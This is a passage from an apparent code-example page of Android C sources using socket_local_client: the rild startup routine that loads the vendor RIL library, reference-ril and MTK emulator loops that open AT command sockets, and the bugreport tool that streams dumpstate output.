            if (!done) {
                RLOGE("could not connect to %s socket (giving up): %s",
                    QEMUD_SOCKET_NAME, strerror(errno));
                while(1)
                    sleep(0x00ffffff);
            }
        }

        /* otherwise, try to see if we passed a device name from the kernel */
        if (!done) do {
#define  KERNEL_OPTION  "android.ril="
#define  DEV_PREFIX     "/dev/"

            p = strstr( buffer, KERNEL_OPTION );
            if (p == NULL)
                break;

            p += sizeof(KERNEL_OPTION)-1;
            q  = strpbrk( p, " \t\n\r" );
            if (q != NULL)
                *q = 0;

            snprintf( arg_device, sizeof(arg_device), DEV_PREFIX "%s", p );
            arg_device[sizeof(arg_device)-1] = 0;
            memset(s_argv, 0, sizeof(s_argv));
            s_argv[1] = "-d";
            s_argv[2] = arg_device;
            done = 1;

        } while (0);

        if (done) {
            argc = 3;
            i    = 1;
            hasLibArgs = 1;
            rilLibPath = REFERENCE_RIL_PATH;
            RLOGD("overriding with %s %s", s_argv[1], s_argv[2]);
        }
    }
OpenLib:
#endif
	//切换UID为AID_RADIO  
    switchUser();

	// 打开链接库
    dlHandle = dlopen(rilLibPath, RTLD_NOW);

    if (dlHandle == NULL) {
        RLOGE("dlopen failed: %s", dlerror());
        exit(-1);
    }

	// 开启EventLoop循环
    RIL_startEventLoop();

	// 从链接库中(也就是reference-ril.c)寻找RIL_Init函数地址  
    rilInit = (const RIL_RadioFunctions *(*)(const struct RIL_Env *, int, char **))dlsym(dlHandle, "RIL_Init");

    if (rilInit == NULL) {
        RLOGE("RIL_Init not defined or exported in %s\n", rilLibPath);
        exit(-1);
    }

    if (hasLibArgs) {
        argc = argc-i+1;
    } else {
        static char * newArgv[MAX_LIB_ARGS];
        static char args[PROPERTY_VALUE_MAX];
        property_get(LIB_ARGS_PROPERTY, args, "");
        argc = make_argv(args, s_argv);
    }

    // Make sure there's a reasonable argv[0]
    s_argv[0] = argv[0];

    if (argc >= MAX_LIB_ARGS - 2) {
        RLOGE("Max arguments are passed for rild, args count = %d", argc);
        exit(0);
    }
#ifdef QCOM_HARDWARE
    /* Client-id is a qualcomm thing */
    s_argv[argc++] = "-c";
    s_argv[argc++] = clientId;
#endif

    RLOGD("RIL_Init argc = %d clientId = %s", argc, s_argv[argc-1]);

	// 初始化过程将s_rilEnv全局变量传递给了reference,然后在reference-ril.c内部将这个值传给了s_rilenv
	// 而s_rilEnv的各个处理函数是在ril.cpp中实现的
	// 调用reference-ril.c中的RIL_Init函数进行初始化INIT,同时得到reference-ril的回调函数
    funcs = rilInit(&s_rilEnv, argc, s_argv);

#ifdef QCOM_HARDWARE
    if (funcs == NULL) {
        /* Pre-multi-client qualcomm vendor libraries won't support "-c" either, so
         * try again without it. This should only happen on ancient qcoms, so raise
         * a big fat warning
         */
        argc -= 2;
        RLOGE("============= Retrying RIL_Init without a client id. This is only required for very old versions,");
        RLOGE("============= and you're likely to have more radio breakage elsewhere!");
        funcs = rilInit(&s_rilEnv, argc, s_argv);
    }
#endif

	//注册得到的reference的回调函数
    RIL_register(funcs);

done:

    while(1) {
        // sleep(UINT32_MAX) seems to return immediately on bionic
        sleep(0x00ffffff);
    }
}
Ejemplo n.º 9
0
static void *
mainLoop(void *param)
{
    int fd;
    int ret;
    char path[50];
    int ttys_index;

    AT_DUMP("== ", "entering mainLoop()", -1 );
    at_set_on_reader_closed(onATReaderClosed);
    at_set_on_timeout(onATTimeout);

    for (;;) {
        fd = -1;
        while  (fd < 0) {
            if (s_port > 0) {
                fd = socket_loopback_client(s_port, SOCK_STREAM);
            } else if (s_device_socket) {
                if (!strcmp(s_device_path, "/dev/socket/qemud")) {
                    /* Qemu-specific control socket */
                    fd = socket_local_client( "qemud",
                                              ANDROID_SOCKET_NAMESPACE_RESERVED,
                                              SOCK_STREAM );
                    if (fd >= 0 ) {
                        char  answer[2];

                        if ( write(fd, "gsm", 3) != 3 ||
                             read(fd, answer, 2) != 2 ||
                             memcmp(answer, "OK", 2) != 0)
                        {
                            close(fd);
                            fd = -1;
                        }
                   }
                }
                else
                    fd = socket_local_client( s_device_path,
                                            ANDROID_SOCKET_NAMESPACE_FILESYSTEM,
                                            SOCK_STREAM );
            } else if (s_device_path != NULL) {
                fd = open (s_device_path, O_RDWR);
                if ( fd >= 0 && !memcmp( s_device_path, "/dev/ttyS", 9 ) ) {
                    /* disable echo on serial ports */
                    struct termios  ios;
                    tcgetattr( fd, &ios );
                    ios.c_lflag = 0;  /* disable ECHO, ICANON, etc... */
                    ios.c_iflag = 0;
                    tcsetattr( fd, TCSANOW, &ios );
                }
            }
   

            if (fd < 0) {
                perror ("opening AT interface. retrying...");
                sleep(10);
                /* never returns */
            }
        }

        RLOGD("FD: %d", fd);

        s_closed = 0;
        ret = at_open(fd, onUnsolicited);

        if (ret < 0) {
            RLOGE ("AT error %d on at_open\n", ret);
            return 0;
        }

        RIL_requestTimedCallback(initializeCallback, NULL, &TIMEVAL_0);

        // Give initializeCallback a chance to dispatched, since
        // we don't presently have a cancellation mechanism
        sleep(1);

        waitForClose();
        RLOGI("Re-opening after close");
    }
}
Ejemplo n.º 10
0
static void emulator_gemini_opensocket()
{
	int fd;
    		int ret;
		for (;;) {
       		 fd = -1;
			RLOGI("[Emu]emulator_gemini_opensocket_in\n");
			
			RLOGI("[Emu]s_device_socket %d\n",s_device_socket);
			RLOGI("[Emu]s_port %d\n",s_port);
			 while  (fd < 0) {
           			 if (s_port > 0) {
            			    fd = socket_loopback_client(s_port, SOCK_STREAM);
							RLOGI("[Emu]fd1 %d\n",fd);
          			  } else if (s_device_socket) {
            				    if (!strcmp(s_device_path, "/dev/socket/qemud")) {
	                			    /* Qemu-specific control socket */
	             			           fd = socket_local_client( "qemud",
	                                              ANDROID_SOCKET_NAMESPACE_RESERVED,
	                                              SOCK_STREAM );
								RLOGI("[Emu]fd2 %d\n",fd);	
	                 			   if (fd >= 0 ) {
	                 		         	   char  answer[2];

				                        if ( write(fd, "gsm", 3) != 3 ||
				                             read(fd, answer, 2) != 2 ||
				                             memcmp(answer, "OK", 2) != 0)
				                        {
				                            close(fd);
				                            fd = -1;
				                        }
                  		 	 	 }
		            	 	   }
		                	   else {
						  fd = socket_local_client( s_device_path,
                                            ANDROID_SOCKET_NAMESPACE_FILESYSTEM,
                                            SOCK_STREAM );
						}
							   RLOGI("[Emu]fd3 %d\n",fd);
                   			
            				} else if (s_device_path != NULL) {
                				fd = open (s_device_path, O_RDWR);
               				 if ( fd >= 0 && !memcmp( s_device_path, "/dev/ttyS", 9 ) ) {
				                 	/* disable echo on serial ports */
				                    struct termios  ios;
				                    tcgetattr( fd, &ios );
				                    ios.c_lflag = 0;  /* disable ECHO, ICANON, etc... */
							  ios.c_iflag = 0;		
				                    tcsetattr( fd, TCSANOW, &ios );
				                }
							 RLOGI("[Emu]fd4 %d\n",fd);
			            }

			            if (fd < 0) {
							 RLOGI("[Emu]fd<0");
			                perror ("opening AT interface. retrying...");
			                sleep(10);
			                /* never returns */
			            }
       		 }

		        s_closed = 0;
		        ret = at_open_emulator(fd, onUnsolicited,is_gemini_emulator);

		        if (ret < 0) {
		            RLOGE ("AT error %d on at_open\n", ret);
		            return 0;
		        }
			RLOGI("[Emu]RIL_requestTimedCallback");
			RIL_requestTimedCallback(initializeCallback, &s_pollSimId, &TIMEVAL_0);
#ifdef MTK_GEMINI
			RIL_requestTimedCallback(initializeCallback, &s_pollSimId2, &TIMEVAL_0);
#endif 
				RLOGI("[Emu]RIL_requestTimedCallback out");
			// Give initializeCallback a chance to dispatched, since
			// we don't presently have a cancellation mechanism
			sleep(1);
			
			waitForClose();
			RLOGI("Re-opening after close");

		}
}
// This program will trigger the dumpstate service to start a call to
// dumpstate, then connect to the dumpstate local client to read the
// output. All of the dumpstate output is written to stdout, including
// any errors encountered while reading/writing the output.
int main() {
  // Start the dumpstate service.
  property_set("ctl.start", "dumpstate");

  // Socket will not be available until service starts.
  int s;
  for (int i = 0; i < 20; i++) {
    s = socket_local_client("dumpstate", ANDROID_SOCKET_NAMESPACE_RESERVED,
                            SOCK_STREAM);
    if (s >= 0)
      break;
    // Try again in 1 second.
    sleep(1);
  }

  if (s == -1) {
    printf("Failed to connect to dumpstate service: %s\n", strerror(errno));
    return 1;
  }

  // Set a timeout so that if nothing is read in 3 minutes, we'll stop
  // reading and quit. No timeout in dumpstate is longer than 60 seconds,
  // so this gives lots of leeway in case of unforeseen time outs.
  struct timeval tv;
  tv.tv_sec = 3 * 60;
  tv.tv_usec = 0;
  if (setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) == -1) {
    printf("WARNING: Cannot set socket timeout: %s\n", strerror(errno));
  }

  while (1) {
    char buffer[65536];
    ssize_t bytes_read = TEMP_FAILURE_RETRY(read(s, buffer, sizeof(buffer)));
    if (bytes_read == 0) {
      break;
    } else if (bytes_read == -1) {
      // EAGAIN really means time out, so change the errno.
      if (errno == EAGAIN) {
        errno = ETIMEDOUT;
      }
      printf("\nBugreport read terminated abnormally (%s).\n", strerror(errno));
      break;
    }

    ssize_t bytes_to_send = bytes_read;
    ssize_t bytes_written;
    do {
      bytes_written = TEMP_FAILURE_RETRY(write(STDOUT_FILENO,
                                               buffer + bytes_read - bytes_to_send,
                                               bytes_to_send));
      if (bytes_written == -1) {
        printf("Failed to write data to stdout: read %zd, trying to send %zd (%s)\n",
               bytes_read, bytes_to_send, strerror(errno));
        return 1;
      }
      bytes_to_send -= bytes_written;
    } while (bytes_written != 0 && bytes_to_send > 0);
  }

  TEMP_FAILURE_RETRY(close(s));
  return 0;
}